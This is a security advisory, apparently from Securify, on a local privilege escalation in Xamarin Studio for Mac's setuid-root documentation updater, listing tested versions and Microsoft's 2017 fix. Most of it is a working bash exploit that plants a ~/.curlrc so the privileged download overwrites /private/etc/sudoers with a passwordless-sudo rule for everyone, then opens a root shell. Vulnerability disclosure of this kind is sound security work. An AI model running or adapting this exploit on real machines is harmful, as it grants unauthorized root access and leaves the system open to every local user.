38 lines
No EOL
1.6 KiB
Text
38 lines
No EOL
1.6 KiB
Text
Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html
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Abstract
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Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.
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Tested versions
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This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).
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Fix
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Microsoft released a new version of Xamarin.iOS that addresses this issue:
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- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)
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#!/bin/bash
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# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
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#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
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target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
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rm -rf ~/Library/Developer/Shared/Documentation/DocSets
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cat << __EOF > /private/tmp/sudoers
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%everyone ALL=(ALL) NOPASSWD: ALL
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__EOF
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cat << __EOF > ~/.curlrc
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url=file:///private/tmp/sudoers
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output=/private/etc/sudoers
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__EOF
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echo
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echo "*** press CRL+C when the download starts ***"
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$target
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echo
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sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
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rm -f /private/tmp/sudoers ~/.curlrc |